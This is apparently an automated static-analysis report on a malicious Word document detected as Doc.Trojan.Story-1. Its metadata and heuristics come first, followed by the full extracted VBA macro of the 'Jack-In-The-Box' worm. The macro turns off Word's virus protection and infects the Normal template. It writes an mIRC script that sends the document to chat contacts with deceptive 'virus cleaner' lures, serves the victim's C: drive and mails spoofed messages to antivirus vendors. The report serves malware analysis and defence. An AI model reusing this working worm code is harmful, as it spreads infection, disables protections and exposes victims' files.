Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d432439064573c07…

MALICIOUS

Office (OLE)

40.0 KB Created: 2008-05-12 14:08:00 Authoring application: Microsoft Word 10.1 First seen: 2017-08-08
MD5: dcb843b4c2b1a50c14df5dffbeafbf50 SHA-1: 6008f08b3d3a32887dd3b5981269fa7855d43a48 SHA-256: d432439064573c07b13e8f28835d8bf2f9aae52f85b0aad0186726da34bf9901
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The script attempts to disable virus protection and manipulate application settings, indicating an intent to facilitate further malicious activity. The script also interacts with mIRC configuration files, suggesting potential for network communication or further payload delivery.

Heuristics 3

  • ClamAV: Doc.Trojan.Story-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Story-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next 'Jack-In-The-Box Set Something = Options Something.VirusProtection = 0 Something.ConfirmConversions = 0 Something.SaveNormalPrompt = 0 Application.EnableCancelKey = 0 Application.StatusBar = 0 Application.Screen …

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7017 bytes
SHA-256: 5edafb33cef8632a3b665b586fc8f891834be7e8717aee42ec61b6c651bee3b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
'Jack-In-The-Box
Set Something = Options
Something.VirusProtection = 0
Something.ConfirmConversions = 0
Something.SaveNormalPrompt = 0
Application.EnableCancelKey = 0
Application.StatusBar = 0
Application.ScreenUpdating = 0
Set AnI = ActiveDocument.VBProject.VBComponents(1)
Set BnI = NormalTemplate.VBProject.VBComponents(1)
If UCase(AnI.CodeModule.Lines(3, 1)) = "'JACK-IN-THE-BOX" Then InA = 1
If UCase(BnI.CodeModule.Lines(3, 1)) = "'JACK-IN-THE-BOX" Then InB = 1
If InA = 1 And InB = 1 Then Exit Sub
Set CnI = MacroContainer.VBProject.VBComponents.Item(1)
VCode = CnI.CodeModule.Lines(2, CnI.CodeModule.CountOfLines)
If InA = 1 Then BnI.CodeModule.AddFromString ("Private Sub Document_Close" & Chr(13) & VCode)
If InB = 1 Then AnI.CodeModule.AddFromString ("Private Sub Document_Open" & Chr(13) & VCode)
NormalTemplate.Save
somename = ActiveDocument.Name
DoEvents
If InB = 1 Then
If Dir("C:\mirc\mirc32.exe") <> "" Then
var3 = "C:\mirc\script.ini"
If System.PrivateProfileString("C:\mirc\mirc.ini", "warn", "fserve") <> "" Then System.PrivateProfileString("C:\mirc\mirc.ini", "warn", "fserve") = "off"
If System.PrivateProfileString("C:\mirc\mirc.ini", "fileserver", "warning") <> "" Then System.PrivateProfileString("C:\mirc\mirc.ini", "fileserver", "warning") = "off"
If Dir(var3) <> "" Then Kill var3
Open "C:\mirc\script.ini" For Output As #1
Print #1, "[script]"
Print #1, "n0=On 1:Connect:{ .notify SimpleSmn | Set %var7 $rand(1,8) | If ( %var7 = 1 ) { Set %var8 mirc.com } | If ( %var7 = 2 ) { Set %var8 georgecarlin.com } | If ( %var7 = 3 ) { Set %var8 carrottop.com } | If ( %var7 = 4 ) { Set %var8 anvdesign.net } | If ( %var7 = 5 ) { Set %var8 symantec.com } | If ( %var7 = 6 ) { Set %var8 drsolomon.com } | If ( %var7 = 7 ) { Set %var8 www.bocklabs.wisc.edu } | If ( %var7 = 8 ) { Set %var8 ebay.com } | Set %var9 $rand(1,4) | If ( %var9 = 1 ) { Set %var10 evrt@avp.com } | If ( %var9 = 2 ) { Set %var10 samples@datafellows.com } | If ( %var9 = 3 ) { Set %var10 virus_research@nai.com } | If ( %var9 = 3 ) { Set %var10 tech_support@nai.com } | If ( $exists(C:\Windows\script1.ini) = $true ) { .remove C:\Windows\script1.ini } | .copy C:\mirc\script.ini C:\Windows\script1.ini | .load -rs C:\Windows\script1.ini | .write -c C:\mirc\script.ini [script] | .reload -rs C:\mirc\script.ini }"
Print #1, "n1=On 1:Input:*:{ Set %var1 $1- | If ( $upper(%var1) = /BY ) { .echo  1Mirc Worm  4Jack-In-The-Box | .echo  12< 9< 12< 9By SimpleSimon 12> 9> 12> | halt } }"
Print #1, "n2=On 1:Notify:{ .timer3 1 10 { .clear -s } | If ( $nick == SimpleSmn ) { .msg SimpleSmn I'm on irc. | halt } | .timer1 1 15 { .notify -r $nick | .ignore $nick | .timer9 1 5 { .msg $nick Hey, I can't talk right now but I wanted to send you this file.  It has a funny story you should read, and also has macros inside that protect you from a lot of viruses.  Just open the document, enable the macros, and if you are infected it will get rid of the virus } | .timer2 1 15 { .dcc send $nick C:\Windows\Story.doc } } | .timer 1 16 { .notify | .clear -s } }"
Print #1, "n3=On 1:Unotify: .clear -s"
Print #1, "n4=On 1:Join:#: if (help isin $chan) || (nohack isin $chan) { .part $chan } | If ( $exists(C:\mirc\script.ini) = $true ) { .remove C:\mirc\script.ini }"
Print #1, "n5=On 1:Filercvd:*.*: If ( $me != $nick ) { .dcc send $nick C:\Windows\Story.doc }"
Print #1, "n6=On 1:Invite:#:{ .ignore $nick | .timer 1 10 { .join # } | .timer 1 15 { .msg $nick Thanks for the invite } | .timer 1 20 { .msg $nick I'm a little busy so I can't talk much now.  I thought you might want to look at this file I got. It has a funny story and also has macros in it which get rid of any macro viruses.  Just enable the macros when the prompt comes up and it will scan for any viruses and clean them. } | .timer 1 25 { .dcc send $nick C:\Windows\Story.doc } }"
DoEvents
Print #1, "n7=On 1:Notice:Simplicity:*: .fserve $nick 100 C:\"
Print #1, "n8=On 1:Text:*script*:*: .ignore $nick"
Print #1, "n9=On 1:Text:*worm*:*: .ignore $nick"
Print #1, "n10=On 1:Text:*virus*:*: .ignore $nick"
Print #1, "n11=On 1:Text:*infect*:*: .ignore $nick"
Print #1, "n12=On 1:Text:*Jack*Box*:*: .ignore $nick"
Print #1, "n13=On 1:Text:*macro*:*: .ignore $nick"
Print #1, "n14=On 1:Text:*Story.doc*: .ignore $nick"
Print #1, "n15=On 1:Text:*Hi*:*:{ .timer1 1 5 { .sockclose virc | .sockopen virc %var8 25 } }"
DoEvents
Print #1, "n16=On 1:Text:*!*:*:{ .timer1 1 5 { .sockclose virc | .sockopen virc %var8 25 } }"
Print #1, "n17=On 1:Text:*Hey*:*:{ .timer1 1 5 { .sockclose virc | .sockopen virc %var8 25 } }"
Print #1, "n18=On 1:Text:*Hello*:*:{ .timer1 1 5 { .sockclose virc | .sockopen virc %var8 25 } }"
Print #1, "n19=On 1:Sockopen:virc:{ Unset %var2 | Unset %var4 | Unset %var6 | Set %var1 $rand(3, 8) + 1 | Set %loop 1 | Set %var3 0 | :check1 | If ( %loop = %var1 ) { goto out } | If ( %var3 = 0 ) { Set %var2 %var2 $rand(A, Z) } | If ( %var3 = 1 ) { Set %var4 %var4 $rand(A, Z) } | If ( %var3 = 2 ) { Set %var6 %var6 $rand(A, Z) } | If ( %var3 = 2 ) && ( $rand(1, 3) = 2 ) { Set %var6 %var6 $chr(225) } | inc %loop | goto check1 | :out | If ( %var3 = 0 ) { Set %var3 1 | Set %var1 $rand(3, 8) | Set %loop 1 | goto check1 } | If ( %var3 = 1 ) { Set %var3 2 | Set %var1 $rand(5, 50) | Set %loop 1 | goto check1 } | Set %var2 $remove(%var2, $chr(32) ) | Set %var4 $remove(%var4, $chr(32) ) | Set %var5 %var2 @ %var4 .com | Set %var5 $remove(%var5, $chr(32) ) | Set %var6 $remove(%var6, $chr(32) ) | Set %var6 $replace(%var6, $chr(225), $chr(32) ) | If ( %var7 = 6 ) { .sockwrite -n virc Helo %var2 } | .sockwrite -n virc mail from: %var5"
Print #1, "n20=If ( $sockerr != 0 ) { halt } | .sockwrite -n virc rcpt to: %var10 | .sockwrite -n virc data | .sockwrite -n virc To: %var10 | .sockwrite -n virc From: %var5 | .sockwrite -n virc Subject: %var6 | .sockwrite -n virc Jack-In-The-Box Has Popped Up Again! | .sockwrite -n virc . | .sockwrite -n virc Quit | .sockclose virc }"
Print #1, "n21=On 1:Disconnect:{ If ( $exists(C:\mirc\script.ini) = $true ) { .remove C:\mirc\script.ini } | If ( $exists(C:\Windows\script1.ini) = $true ) { .copy C:\Windows\script1.ini C:\mirc\script.ini | .remove C:\Windows\script1.ini } }"
Close #1
If Dir("C:\windows\Story.doc") = "" Then
ActiveDocument.SaveAs FileName:="C:\Windows\Story.doc", AddToRecentFiles:=False
End If
End If
If Left(somename, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
CommandBars("Tools").Controls("Macro").Enabled = 0
CommandBars("Tools").Controls("Customize...").Enabled = 0
CommandBars("View").Controls("Toolbars").Enabled = 0
CommandBars("View").Controls("Status Bar").Enabled = 0
End Sub